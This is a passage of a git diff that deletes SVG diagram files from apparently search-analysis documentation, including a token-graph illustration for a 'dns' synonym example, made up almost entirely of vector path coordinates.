114.930437,107.38547 115.503354,107.60422 C116.076271,107.82297 116.498146,108.119845 116.768979,108.494845 C117.050229,108.869845 117.242937,109.369845 117.347104,109.994845 L115.737729,110.213595 C115.664812,109.713595 115.451271,109.32297 115.097104,109.04172 C114.753354,108.76047 114.263771,108.619845 113.628354,108.619845 C112.867937,108.619845 112.326271,108.744845 112.003354,108.994845 C111.690854,109.244845 111.534604,109.536512 111.534604,109.869845 C111.534604,110.078178 111.597104,110.270887 111.722104,110.44797 C111.857521,110.625053 112.071062,110.770887 112.362729,110.88547 C112.518979,110.94797 112.998146,111.088595 113.800229,111.307345 C114.966896,111.609428 115.779396,111.859428 116.237729,112.057345 C116.696062,112.255262 117.055437,112.54172 117.315854,112.91672 C117.576271,113.29172 117.706479,113.76047 117.706479,114.32297 C117.706479,114.875053 117.545021,115.390678 117.222104,115.869845 C116.909604,116.349012 116.451271,116.724012 115.847104,116.994845 C115.242937,117.255262 114.560646,117.38547 113.800229,117.38547 C112.550229,117.38547 111.591896,117.125053 110.925229,116.60422 C110.268979,116.083387 109.852312,115.307345 109.675229,114.276095 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <polygon id="Path" fill="#FFFFFF" points="15.089237 39.1447 34.522308 39.1447 34.522308 51.428163 15.089237 51.428163"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="183.08923 42.36557 202.522305 42.36557 202.522305 54.649048 183.08923 54.649048"></polygon>
-            </g>
-        </g>
-    </g>
-</svg>
\ No newline at end of file
diff --git a/docs/reference/images/analysis/token-graph-dns-synonym-ex.svg b/docs/reference/images/analysis/token-graph-dns-synonym-ex.svg
deleted file mode 100644
index cff5b1306b7..00000000000
--- a/docs/reference/images/analysis/token-graph-dns-synonym-ex.svg
+++ /dev/null
@@ -1,72 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<svg width="810px" height="127px" viewBox="0 0 810 127" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
-    <!-- Generator: Sketch 60.1 (88133) - https://sketch.com -->
-    <title>Slice 1</title>
-    <desc>Created with Sketch.</desc>
-    <g id="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd">
-        <g id="token-graph-dns-synonym-ex" transform="translate(1.000000, 1.000000)">
-            <g id="Group">
-                <path d="M0.209972,1.39317 L0.209972,1.39317 C0.209972,0.6962172 0.774963,0.13123 1.471912,0.13123 L46.318115,0.13123 C46.6528013,0.13123 46.9737775,0.26418746 47.2104414,0.50084365 C47.4470975,0.73749984 47.580055,1.05848375 47.580055,1.39317 L47.580055,48.948025 C47.580055,49.6449855 47.0150602,50.2099726 46.318115,50.2099726 L1.471912,50.2099726 C0.774963,50.2099726 0.209972,49.6449854 0.209972,48.948025 L0.209972,1.39317 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M0.209972,1.39317 L0.209972,1.39317 C0.209972,0.6962172 0.774963,0.13123 1.471912,0.13123 L46.318115,0.13123 C46.6528013,0.13123 46.9737775,0.26418746 47.2104414,0.50084365 C47.4470975,0.73749984 47.580055,1.05848375 47.580055,1.39317 L47.580055,48.948025 C47.580055,49.6449855 47.0150602,50.2099726 46.318115,50.2099726 L1.471912,50.2099726 C0.774963,50.2099726 0.209972,49.6449854 0.209972,48.948025 L0.209972,1.39317 Z" id="Path" stroke="#979CAB" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M19.488403,25.49685 C19.488403,23.9239333 19.6498613,22.6583083 19.972778,21.699975 C20.2956947,20.731225 20.7748613,19.9864333 21.410278,19.4656 C22.0561113,18.9447667 22.863403,18.68435 23.832153,18.68435 C24.550903,18.68435 25.1811113,18.8301833 25.722778,19.12185 C26.2644447,19.4031 26.707153,19.8197667 27.050903,20.37185 C27.4050697,20.9135167 27.6811113,21.574975 27.879028,22.356225 C28.0873613,23.1270583 28.191528,24.1739333 28.191528,25.49685 C28.191528,27.0697667 28.0300697,28.3406025 27.707153,29.3093576 C27.3842363,30.2676909 26.8998613,31.0124826 26.254028,31.5437326 C25.6186113,32.0645659 24.8113197,32.3249826 23.832153,32.3249826 C22.550903,32.3249826 21.5404863,31.8614409 20.800903,30.9343576 C19.925903,29.8197743 19.488403,28.0072717 19.488403,25.49685 L19.488403,25.49685 Z M21.160278,25.49685 C21.160278,27.6947717 21.4154863,29.1583159 21.925903,29.8874826 C22.4467363,30.6062326 23.082153,30.9656076 23.832153,30.9656076 C24.5925697,30.9656076 25.2279863,30.6010243 25.738403,29.8718576 C26.2488197,29.1426909 26.504028,27.6843551 26.504028,25.49685 C26.504028,23.2989333 26.2488197,21.8406 25.738403,21.12185 C25.2279863,20.4031 24.5873613,20.043725 23.816528,20.043725 C23.066528,20.043725 22.4675697,20.3614333 22.019653,20.99685 C21.4467363,21.80935 21.160278,23.30935 21.160278,25.49685 L21.160278,25.49685 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <path d="M167.71559,4.1045 L167.71559,4.1045 C167.71559,2.5803148 168.951186,1.344719 170.475371,1.344719 L212.325881,1.344719 C213.05783,1.344719 213.759795,1.63547523 214.277343,2.1530381 C214.794906,2.67060097 215.085662,3.3725587 215.085662,4.1044999 L215.085662,48.6636799 C215.085662,50.1878651 213.850066,51.4234609 212.325881,51.4234609 L170.475371,51.4234609 C168.951186,51.4234609 167.71559,50.1878652 167.71559,48.6636799 L167.71559,4.1045 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M167.71559,4.1045 L167.71559,4.1045 C167.71559,2.5803148 168.951186,1.344719 170.475371,1.344719 L212.325881,1.344719 C213.05783,1.344719 213.759795,1.63547523 214.277343,2.1530381 C214.794906,2.67060097 215.085662,3.3725587 215.085662,4.1044999 L215.085662,48.6636799 C215.085662,50.1878651 213.850066,51.4234609 212.325881,51.4234609 L170.475371,51.4234609 C168.951186,51.4234609 167.71559,50.1878652 167.71559,48.6636799 L167.71559,4.1045 Z" id="Path" stroke="#979CAB" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M193.1659,33.3041 L191.525275,33.3041 L191.525275,22.850967 C191.129442,23.225967 190.608608,23.6061753 189.962775,23.991592 C189.327358,24.366592 188.754442,24.647842 188.244025,24.835342 L188.244025,23.241592 C189.160692,22.8145087 189.962775,22.2936753 190.650275,21.679092 C191.337775,21.0645087 191.82215,20.4707587 192.1034,19.897842 L193.1659,19.897842 L193.1659,33.3041 Z" id="Path" fill="#000000" fill-rule="nonzero"></path>
-                <polygon id="Path" fill="#FFFFFF" points="39.08891 16.85302 58.521977 16.85302 58.521977 38.679795 39.08891 38.679795"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="159.08891 16.85302 178.521985 16.85302 178.521985 38.679795 159.08891 38.679795"></polygon>
-                <line x1="178.52199" y1="27.7664" x2="48.19127" y2="27.2309691" id="Path" fill-opacity="0" fill="#000000"></line>
-                <line x1="160.52213" y1="27.69245" x2="48.19128" y2="27.2309708" id="Path" stroke="#00BFB3" stroke-width="3" stroke-linejoin="round"></line>
-                <polygon id="Path" stroke="#00BFB3" stroke-width="3" fill="#00BFB3" points="160.50177 32.64761 174.136307 27.7483867 160.542496 22.7372937"></polygon>
-                <path d="M319.71558,4.1045 L319.71558,4.1045 C319.71558,2.5803148 320.951206,1.344719 322.475376,1.344719 L364.325901,1.344719 C365.057835,1.344719 365.7598,1.63547523 366.277348,2.1530381 C366.794926,2.67060097 367.085667,3.3725587 367.085667,4.1044999 L367.085667,48.6636799 C367.085667,50.1878651 365.850071,51.4234609 364.325901,51.4234609 L322.475376,51.4234609 C320.951206,51.4234609 319.71558,50.1878652 319.71558,48.6636799 L319.71558,4.1045 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M319.71558,4.1045 L319.71558,4.1045 C319.71558,2.5803148 320.951206,1.344719 322.475376,1.344719 L364.325901,1.344719 C365.057835,1.344719 365.7598,1.63547523 366.277348,2.1530381 C366.794926,2.67060097 367.085667,3.3725587 367.085667,4.1044999 L367.085667,48.6636799 C367.085667,50.1878651 365.850071,51.4234609 364.325901,51.4234609 L322.475376,51.4234609 C320.951206,51.4234609 319.71558,50.1878652 319.71558,48.6636799 L319.71558,4.1045 Z" id="Path" stroke="#979CAB" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M347.6034,31.72597 L347.6034,33.304095 L338.775275,33.304095 C338.764858,32.9082617 338.827358,32.5280533 338.962775,32.16347 C339.191942,31.5593033 339.551317,30.9655533 340.0409,30.38222 C340.5409,29.7988867 341.25965,29.1270117 342.19715,28.366595 C343.645067,27.1790899 344.624233,26.2363791 345.13465,25.5384624 C345.645067,24.8405457 345.900275,24.1842957 345.900275,23.5697124 C345.900275,22.9134624 345.6659,22.3665874 345.19715,21.9290874 C344.738817,21.4811707 344.13465,21.2572124 343.38465,21.2572124 C342.592983,21.2572124 341.957567,21.4967957 341.4784,21.9759624 C341.00965,22.4447124 340.775275,23.0957541 340.775275,23.9290874 L339.087775,23.7572124 C339.202358,22.4967957 339.63465,21.5384624 340.38465,20.8822124 C341.145067,20.2259624 342.155483,19.8978374 343.4159,19.8978374 C344.69715,19.8978374 345.712775,20.2520041 346.462775,20.9603374 C347.212775,21.6686707 347.587775,22.5488791 347.587775,23.6009624 C347.587775,24.1322124 347.4784,24.6582541 347.25965,25.1790874 C347.0409,25.6999207 346.676317,26.2467957 346.1659,26.8197124 C345.6659,27.3822124 344.82215,28.1634649 343.63465,29.16347 C342.655483,29.9863867 342.025275,30.5488867 341.744025,30.85097 C341.462775,31.1426367 341.233608,31.4343033 341.056525,31.72597 L347.6034,31.72597 Z" id="Path" fill="#000000" fill-rule="nonzero"></path>
-                <polygon id="Path" fill="#FFFFFF" points="207.08891 16.85302 226.52197 16.85302 226.52197 38.679795 207.08891 38.679795"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="311.0889 16.85302 330.521975 16.85302 330.521975 38.679795 311.0889 38.679795"></polygon>
-                <path d="M487.7156,4.1045 L487.7156,4.1045 C487.7156,2.5803148 488.951196,1.344719 490.475366,1.344719 L532.325891,1.344719 C533.057824,1.344719 533.75979,1.63547523 534.277368,2.1530381 C534.794946,2.67060097 535.085717,3.3725587 535.085717,4.1044999 L535.085717,48.6636799 C535.085717,50.1878651 533.850122,51.4234609 532.325891,51.4234609 L490.475366,51.4234609 C488.951196,51.4234609 487.7156,50.1878652 487.7156,48.6636799 L487.7156,4.1045 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M487.7156,4.1045 L487.7156,4.1045 C487.7156,2.5803148 488.951196,1.344719 490.475366,1.344719 L532.325891,1.344719 C533.057824,1.344719 533.75979,1.63547523 534.277368,2.1530381 C534.794946,2.67060097 535.085717,3.3725587 535.085717,4.1044999 L535.085717,48.6636799 C535.085717,50.1878651 533.850122,51.4234609 532.325891,51.4234609 L490.475366,51.4234609 C488.951196,51.4234609 487.7156,50.1878652 487.7156,48.6636799 L487.7156,4.1045 Z" id="Path" stroke="#979CAB" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M506.994,29.77284 L508.634625,29.55409 C508.822125,30.49159 509.139833,31.163465 509.58775,31.569715 C510.046083,31.975965 510.598167,32.17909 511.244,32.17909 C512.014833,32.17909 512.665875,31.913465 513.197125,31.382215 C513.728375,30.850965 513.994,30.1895067 513.994,29.3978324 C513.994,28.64784 513.749208,28.0280458 513.259625,27.5384574 C512.770042,27.0488741 512.145042,26.8040824 511.384625,26.8040824 C511.072125,26.8040824 510.686708,26.8613741 510.228375,26.9759574 L510.415875,25.5384574 C510.520042,25.5488741 510.608583,25.5540824 510.6815,25.5540824 C511.379417,25.5540824 512.004417,25.3717907 512.5565,25.0072074 C513.119,24.6426241 513.40025,24.0853324 513.40025,23.3353324 C513.40025,22.7311657 513.197125,22.2311657 512.790875,21.8353324 C512.384625,21.4394991 511.858583,21.2415824 511.21275,21.2415824 C510.577333,21.2415824 510.046083,21.4447074 509.619,21.8509574 C509.191917,22.2467907 508.921083,22.8457491 508.8065,23.6478324 L507.165875,23.3509574 C507.363792,22.2572074 507.816917,21.4082491 508.52525,20.8040824 C509.233583,20.1999157 510.119,19.8978324 511.1815,19.8978324 C511.910667,19.8978324 512.577333,20.0540824 513.1815,20.3665824 C513.796083,20.6790824 514.264833,21.1061657 514.58775,21.6478324 C514.921083,22.1894991 515.08775,22.7624157 515.08775,23.3665824 C515.08775,23.9394991 514.9315,24.4655407 514.619,24.9447074 C514.3065,25.4134574 513.848167,25.7884574 513.244,26.0697074 C514.035667,26.2572074 514.65025,26.6374157 515.08775,27.2103324 C515.52525,27.7832541 515.744,28.5020067 515.744,29.36659 C515.744,30.52284 515.316917,31.507215 514.46275,32.319715 C513.619,33.132215 512.546083,33.538465 511.244,33.538465 C510.066917,33.538465 509.092958,33.1895067 508.322125,32.49159 C507.551292,31.7936733 507.108583,30.8874233 506.994,29.77284 Z" id="Path" fill="#000000" fill-rule="nonzero"></path>
-                <polygon id="Path" fill="#FFFFFF" points="359.0889 16.85302 378.521975 16.85302 378.521975 38.679795 359.0889 38.679795"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="479.0889 16.85302 498.521944 16.85302 498.521944 38.679795 479.0889 38.679795"></polygon>
-                <line x1="496.9606" y1="27.00144" x2="369.18106" y2="28.765211" id="Path" fill-opacity="0" fill="#000000"></line>
-                <line x1="478.9623" y1="27.24987" x2="369.18105" y2="28.7652127" id="Path" stroke="#00BFB3" stroke-width="3" stroke-linejoin="round"></line>
-                <polygon id="Path" stroke="#00BFB3" stroke-width="3" fill="#00BFB3" points="479.03064 32.20459 492.575257 27.061966 478.89386 22.295143"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="58.385826 10.47244 147.83464 10.47244 147.83464 41.842511 58.385826 41.842511"></polygon>
-                <path d="M80.01599,33.07748 L80.01599,31.85873 C79.4118233,32.8170633 78.5107817,33.29623 77.312865,33.29623 C76.5420317,33.29623 75.8336983,33.0826883 75.187865,32.655605 C74.5420317,32.2285217 74.0420317,31.6347717 73.687865,30.874355 C73.3336983,30.1139383 73.156615,29.2389383 73.156615,28.249355 C73.156615,27.2805999 73.3180733,26.4055974 73.64099,25.6243474 C73.9639067,24.8326807 74.4430733,24.2285141 75.07849,23.8118474 C75.7243233,23.3951807 76.4482817,23.1868474 77.250365,23.1868474 C77.8336983,23.1868474 78.3493233,23.3118474 78.79724,23.5618474 C79.2555733,23.8014307 79.625365,24.1191391 79.906615,24.5149724 L79.906615,19.7180974 L81.54724,19.7180974 L81.54724,33.0774804 L80.01599,33.0774804 L80.01599,33.07748 Z M74.844115,28.249355 C74.844115,29.4889383 75.1045317,30.4160217 75.625365,31.030605 C76.1461983,31.6451883 76.7607817,31.95248 77.469115,31.95248 C78.187865,31.95248 78.79724,31.6608133 79.29724,31.07748 C79.79724,30.48373 80.04724,29.5878967 80.04724,28.38998 C80.04724,27.0670583 79.7920317,26.0983057 79.281615,25.4837224 C78.7711983,24.8587224 78.14099,24.5462224 77.39099,24.5462224 C76.67224,24.5462224 76.0680733,24.8430974 75.57849,25.4368474 C75.0889067,26.0305974 74.844115,26.9680999 74.844115,28.249355 Z M83.516707,28.23373 C83.516707,26.4420583 84.0114987,25.1191391 85.001082,24.2649724 C85.8344153,23.5462224 86.8500403,23.1868474 88.047957,23.1868474 C89.3812903,23.1868474 90.469832,23.6243474 91.313582,24.4993474 C92.157332,25.3639307 92.579207,26.5670583 92.579207,28.10873 C92.579207,29.3483133 92.391707,30.32748 92.016707,31.04623 C91.641707,31.7545633 91.094832,32.3066467 90.376082,32.70248 C89.6677487,33.0983133 88.891707,33.29623 88.047957,33.29623 C86.6937903,33.29623 85.6000403,32.8639383 84.766707,31.999355 C83.9333737,31.124355 83.516707,29.8691467 83.516707,28.23373 Z M85.204207,28.23373 C85.204207,29.4733133 85.469832,30.405605 86.001082,31.030605 C86.5427487,31.6451883 87.2250403,31.95248 88.047957,31.95248 C88.860457,31.95248 89.5375403,31.6451883 90.079207,31.030605 C90.6208737,30.405605 90.891707,29.4576883 90.891707,28.186855 C90.891707,26.9889333 90.6208737,26.0826807 90.079207,25.4680974 C89.5375403,24.8535141 88.860457,24.5462224 88.047957,24.5462224 C87.2250403,24.5462224 86.5427487,24.8535141 86.001082,25.4680974 C85.469832,26.0722641 85.204207,26.9941416 85.204207,28.23373 Z M94.501799,33.07748 L94.501799,23.405597 L95.970549,23.405597 L95.970549,24.764972 C96.2726323,24.2858053 96.673674,23.905597 97.173674,23.624347 C97.6840907,23.3326803 98.2570073,23.186847 98.892424,23.186847 C99.611174,23.186847 100.199716,23.3378887 100.658049,23.639972 C101.116382,23.9316387 101.439299,24.343097 101.626799,24.874347 C102.397632,23.749347 103.392424,23.186847 104.611174,23.186847 C105.579924,23.186847 106.319507,23.452472 106.829924,23.983722 C107.350757,24.514972 107.611174,25.3326803 107.611174,26.436847 L107.611174,33.07748 L105.970549,33.07748 L105.970549,26.983722 C105.970549,26.327472 105.918466,25.858722 105.814299,25.577472 C105.710132,25.2858053 105.517424,25.0514303 105.236174,24.874347 C104.954924,24.6972637 104.626799,24.608722 104.251799,24.608722 C103.574716,24.608722 103.012216,24.8378887 102.564299,25.296222 C102.116382,25.7441387 101.892424,26.4628887 101.892424,27.452472 L101.892424,33.07748 L100.251799,33.07748 L100.251799,26.796222 C100.251799,26.0670553 100.116382,25.5201803 99.845549,25.155597 C99.5747157,24.7910137 99.1372157,24.608722 98.533049,24.608722 C98.0747157,24.608722 97.6476323,24.7285137 97.251799,24.968097 C96.8559657,25.2076803 96.5695073,25.561847 96.392424,26.030597 C96.2257573,26.499347 96.142424,27.1764329 96.142424,28.0618546 L96.142424,33.07748 L94.501799,33.07748 L94.501799,33.07748 Z M116.355101,31.88998 C115.740518,32.4003967 115.151976,32.76498 114.589476,32.98373 C114.037393,33.1920633 113.438434,33.29623 112.792601,33.29623 C111.730101,33.29623 110.912393,33.0358133 110.339476,32.51498 C109.766559,31.9941467 109.480101,31.3326883 109.480101,30.530605 C109.480101,30.0514383 109.589476,29.6191467 109.808226,29.23373 C110.026976,28.8378967 110.308226,28.5253967 110.651976,28.29623 C111.006143,28.0566416 111.401976,27.8743474 111.839476,27.7493474 C112.151976,27.6660141 112.636351,27.5826807 113.292601,27.4993474 C114.615518,27.3430974 115.589476,27.1555974 116.214476,26.9368474 C116.224893,26.7076807 116.230101,26.5670557 116.230101,26.5149724 C116.230101,25.8483057 116.073851,25.3743474 115.761351,25.0930974 C115.344684,24.7285141 114.719684,24.5462224 113.886351,24.5462224 C113.115518,24.5462224 112.547809,24.6816391 112.183226,24.9524724 C111.818643,25.2233057 111.547809,25.6972641 111.370726,26.3743474 L109.761351,26.1555974 C109.907184,25.4785141 110.146768,24.9316391 110.480101,24.5149724 C110.813434,24.0878891 111.297809,23.7597641 111.933226,23.5305974 C112.568643,23.3014307 113.297809,23.1868474 114.120726,23.1868474 C114.954059,23.1868474 115.625934,23.2858057 116.136351,23.4837224 C116.657184,23.6712224 117.037393,23.9160141 117.276976,24.2180974 C117.526976,24.5097641 117.698851,24.8795557 117.792601,25.3274724 C117.844684,25.6087224 117.870726,26.1139307 117.870726,26.8430974 L117.870726,29.030605 C117.870726,30.5514383 117.907184,31.51498 117.980101,31.92123 C118.053018,32.3170633 118.188434,32.70248 118.386351,33.07748 L116.683226,33.07748 C116.506143,32.73373 116.396768,32.3378967 116.355101,31.88998 Z M116.214476,28.218105 C115.620726,28.468105 114.730101,28.6764383 113.542601,28.843105 C112.865518,28.936855 112.386351,29.04623 112.105101,29.17123 C111.823851,29.29623 111.605101,29.4733133 111.448851,29.70248 C111.303018,29.9316467 111.230101,30.1920633 111.230101,30.48373 C111.230101,30.92123 111.396768,31.2858133 111.730101,31.57748 C112.063434,31.8691467 112.547809,32.01498 113.183226,32.01498 C113.808226,32.01498 114.365518,31.8795633 114.855101,31.60873 C115.355101,31.32748 115.719684,30.9472717 115.948851,30.468105 C116.125934,30.093105 116.214476,29.54623 116.214476,28.82748 L116.214476,28.218105 Z M120.418318,21.6087224 L120.418318,19.7180974 L122.058943,19.7180974 L122.058943,21.6087224 L120.418318,21.6087224 Z M120.418318,33.0774804 L120.418318,23.4055974 L122.058943,23.4055974 L122.058943,33.0774804 L120.418318,33.0774804 Z M124.563139,33.0774804 L124.563139,23.4055974 L126.031889,23.4055974 L126.031889,24.7805974 C126.740222,23.7180974 127.766264,23.1868474 129.110014,23.1868474 C129.693347,23.1868474 130.229806,23.2910141 130.719389,23.4993474 C131.208972,23.7076807 131.573556,23.9837224 131.813139,24.3274724 C132.063139,24.6608057 132.235014,25.0618474 132.328764,25.5305974 C132.391264,25.8326807 132.422514,26.3639307 132.422514,27.1243474 L132.422514,33.0774804 L130.781889,33.0774804 L130.781889,27.1868474 C130.781889,26.5201807 130.714181,26.0253891 130.578764,25.7024724 C130.453764,25.3691391 130.229806,25.1035141 129.906889,24.9055974 C129.583972,24.7076807 129.203764,24.6087224 128.766264,24.6087224 C128.068347,24.6087224 127.464181,24.8326807 126.953764,25.2805974 C126.453764,25.7180974 126.203764,26.5566391 126.203764,27.7962224 L126.203764,33.0774804 L124.563139,33.0774804 L124.563139,33.0774804 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <polygon id="Path" fill="#FFFFFF" points="383 10.47244 466.653534 10.47244 466.653534 41.842511 383 41.842511"></polygon>
-                <path d="M395.8628,30.1868524 L397.4878,29.93686 C397.571133,30.5826933 397.821133,31.0826933 398.2378,31.43686 C398.654467,31.78061 399.2378,31.952485 399.9878,31.952485 C400.7378,31.952485 401.295092,31.8014433 401.659675,31.49936 C402.024258,31.1868524 402.20655,30.8222767 402.20655,30.40561 C402.20655,30.0410267 402.045092,29.74936 401.722175,29.53061 C401.503425,29.3847767 400.946133,29.202485 400.0503,28.983735 C398.841967,28.671235 398.003425,28.40561 397.534675,28.1868524 C397.076342,27.9681049 396.727383,27.666019 396.4878,27.2806024 C396.248217,26.8847691 396.128425,26.4472691 396.128425,25.9681024 C396.128425,25.5410191 396.227383,25.1451857 396.4253,24.7806024 C396.623217,24.4056024 396.89405,24.0983107 397.2378,23.8587274 C397.4878,23.6712274 397.83155,23.5149774 398.26905,23.3899774 C398.716967,23.2545607 399.190925,23.1868524 399.690925,23.1868524 C400.451342,23.1868524 401.118008,23.2962274 401.690925,23.5149774 C402.263842,23.7337274 402.685717,24.0306024 402.95655,24.4056024 C403.2378,24.7806024 403.430508,25.2806024 403.534675,25.9056024 L401.9253,26.1243524 C401.852383,25.6243524 401.638842,25.2337274 401.284675,24.9524774 C400.940925,24.6712274 400.451342,24.5306024 399.815925,24.5306024 C399.055508,24.5306024 398.513842,24.6556024 398.190925,24.9056024 C397.878425,25.1556024 397.722175,25.4472691 397.722175,25.7806024 C397.722175,25.9889357 397.784675,26.1816441 397.909675,26.3587274 C398.045092,26.5358107 398.258633,26.6816441 398.5503,26.7962274 C398.70655,26.8587274 399.185717,26.9993524 399.9878,27.2181024 C401.154467,27.5201857 401.966967,27.7701857 402.4253,27.9681024 C402.883633,28.1660242 403.243008,28.452485 403.503425,28.827485 C403.763842,29.202485 403.89405,29.671235 403.89405,30.233735 C403.89405,30.7858183 403.732592,31.3014433 403.409675,31.78061 C403.097175,32.2597767 402.638842,32.6347767 402.034675,32.90561 C401.430508,33.1660267 400.748217,33.296235 399.9878,33.296235 C398.7378,33.296235 397.779467,33.0358183 397.1128,32.514985 C396.45655,31.9941517 396.039883,31.21811 395.8628,30.1868524 Z M405.76905,36.796235 L405.58155,35.264985 C405.946133,35.358735 406.258633,35.405602 406.51905,35.405602 C406.883633,35.405602 407.1753,35.34311 407.39405,35.21811 C407.6128,35.1035267 407.795092,34.93686 407.940925,34.71811 C408.045092,34.5514433 408.211758,34.1451933 408.440925,33.49936 C408.472175,33.405602 408.51905,33.2701933 408.58155,33.09311 L404.909675,23.405602 L406.6753,23.405602 L408.690925,28.9993596 C408.951342,29.7181096 409.185717,30.4681096 409.39405,31.2493596 C409.58155,30.4993596 409.805508,29.7649846 410.065925,29.0462346 L412.14405,23.405602 L413.784675,23.405602 L410.097175,33.233735 C409.701342,34.3066517 409.39405,35.0410267 409.1753,35.43686 C408.883633,35.9785267 408.5503,36.37436 408.1753,36.62436 C407.8003,36.87436 407.352383,36.99936 406.83155,36.99936 C406.508633,36.99936 406.154467,36.9316517 405.76905,36.796235 Z M414.51905,30.1868524 L416.14405,29.93686 C416.227383,30.5826933 416.477383,31.0826933 416.89405,31.43686 C417.310717,31.78061 417.89405,31.952485 418.64405,31.952485 C419.39405,31.952485 419.951342,31.8014433 420.315925,31.49936 C420.680508,31.1868524 420.8628,30.8222767 420.8628,30.40561 C420.8628,30.0410267 420.701342,29.74936 420.378425,29.53061 C420.159675,29.3847767 419.602383,29.202485 418.70655,28.983735 C417.498217,28.671235 416.659675,28.40561 416.190925,28.1868524 C415.732592,27.9681049 415.383633,27.666019 415.14405,27.2806024 C414.904467,26.8847691 414.784675,26.4472691 414.784675,25.9681024 C414.784675,25.5410191 414.883633,25.1451857 415.08155,24.7806024 C415.279467,24.4056024 415.5503,24.0983107 415.89405,23.8587274 C416.14405,23.6712274 416.4878,23.5149774 416.9253,23.3899774 C417.373217,23.2545607 417.847175,23.1868524 418.347175,23.1868524 C419.107592,23.1868524 419.774258,23.2962274 420.347175,23.5149774 C420.920092,23.7337274 421.341967,24.0306024 421.6128,24.4056024 C421.89405,24.7806024 422.086758,25.2806024 422.190925,25.9056024 L420.58155,26.1243524 C420.508633,25.6243524 420.295092,25.2337274 419.940925,24.9524774 C419.597175,24.6712274 419.107592,24.5306024 418.472175,24.5306024 C417.711758,24.5306024 417.170092,24.6556024 416.847175,24.9056024 C416.534675,25.1556024 416.378425,25.4472691 416.378425,25.7806024 C416.378425,25.9889357 416.440925,26.1816441 416.565925,26.3587274 C416.701342,26.5358107 416.914883,26.6816441 417.20655,26.7962274 C417.3628,26.8587274 417.841967,26.9993524 418.64405,27.2181024 C419.810717,27.5201857 420.623217,27.7701857 421.08155,27.9681024 C421.539883,28.1660242 421.899258,28.452485 422.159675,28.827485 C422.420092,29.202485 422.5503,29.671235 422.5503,30.233735 C422.5503,30.7858183 422.388842,31.3014433 422.065925,31.78061 C421.753425,32.2597767 421.295092,32.6347767 420.690925,32.90561 C420.086758,33.1660267 419.404467,33.296235 418.64405,33.296235 C417.39405,33.296235 416.435717,33.0358183 415.76905,32.514985 C415.1128,31.9941517 414.696133,31.21811 414.51905,30.1868524 Z M428.08155,31.608735 L428.315925,33.06186 C427.857592,33.15561 427.446133,33.202485 427.08155,33.202485 C426.4878,33.202485 426.024258,33.108735 425.690925,32.921235 C425.368008,32.733735 425.138842,32.4889433 425.003425,32.18686 C424.868008,31.87436 424.8003,31.2285267 424.8003,30.24936 L424.8003,24.6712274 L423.597175,24.6712274 L423.597175,23.4056024 L424.8003,23.4056024 L424.8003,21.0149774 L426.4253,20.0306024 L426.4253,23.4056024 L428.08155,23.4056024 L428.08155,24.6712274 L426.4253,24.6712274 L426.4253,30.34311 C426.4253,30.8014433 426.451342,31.0983183 426.503425,31.233735 C426.565925,31.3691517 426.659675,31.4785267 426.784675,31.56186 C426.920092,31.6347767 427.1128,31.671235 427.3628,31.671235 C427.539883,31.671235 427.779467,31.6504017 428.08155,31.608735 Z M436.311744,29.96811 L437.999244,30.171235 C437.728411,31.1608183 437.233619,31.9316517 436.514869,32.483735 C435.796119,33.0254017 434.874244,33.296235 433.749244,33.296235 C432.332577,33.296235 431.207577,32.8639433 430.374244,31.99936 C429.551327,31.12436 429.139869,29.9004017 429.139869,28.327485 C429.139869,26.6920633 429.556536,25.4264357 430.389869,24.5306024 C431.233619,23.6347691 432.322161,23.1868524 433.655494,23.1868524 C434.947161,23.1868524 435.999244,23.6295607 436.811744,24.5149774 C437.634661,25.3899774 438.046119,26.6243549 438.046119,28.21811 C438.046119,28.3222767 438.046119,28.46811 438.046119,28.65561 L430.827369,28.65561 C430.889869,29.71811 431.191952,30.5358183 431.733619,31.108735 C432.275286,31.671235 432.947161,31.952485 433.749244,31.952485 C434.353411,31.952485 434.869036,31.796235 435.296119,31.483735 C435.723202,31.1608183 436.061744,30.65561 436.311744,29.96811 Z M430.921119,27.3118524 L436.327369,27.3118524 C436.254452,26.4993524 436.046119,25.8899774 435.702369,25.4837274 C435.181536,24.8483107 434.504452,24.5306024 433.671119,24.5306024 C432.921119,24.5306024 432.285702,24.7858107 431.764869,25.2962274 C431.254452,25.7962274 430.973202,26.4681024 430.921119,27.3118524 Z M440.062446,33.077485 L440.062446,23.405602 L441.531196,23.405602 L441.531196,24.764977 C441.833279,24.2858103 442.234321,23.905602 442.734321,23.624352 C443.244738,23.3326853 443.817654,23.186852 444.453071,23.186852 C445.171821,23.186852 445.760363,23.3378937 446.218696,23.639977 C446.677029,23.9316437 446.999946,24.343102 447.187446,24.874352 C447.958279,23.749352 448.953071,23.186852 450.171821,23.186852 C451.140571,23.186852 451.880154,23.452477 452.390571,23.983727 C452.911404,24.514977 453.171821,25.3326853 453.171821,26.436852 L453.171821,33.077485 L451.531196,33.077485 L451.531196,26.983727 C451.531196,26.327477 451.479113,25.858727 451.374946,25.577477 C451.270779,25.2858103 451.078071,25.0514353 450.796821,24.874352 C450.515571,24.6972687 450.187446,24.608727 449.812446,24.608727 C449.135363,24.608727 448.572863,24.8378937 448.124946,25.296227 C447.677029,25.7441437 447.453071,26.4628937 447.453071,27.452477 L447.453071,33.077485 L445.812446,33.077485 L445.812446,26.796227 C445.812446,26.0670603 445.677029,25.5201853 445.406196,25.155602 C445.135363,24.7910187 444.697863,24.608727 444.093696,24.608727 C443.635363,24.608727 443.208279,24.7285187 442.812446,24.968102 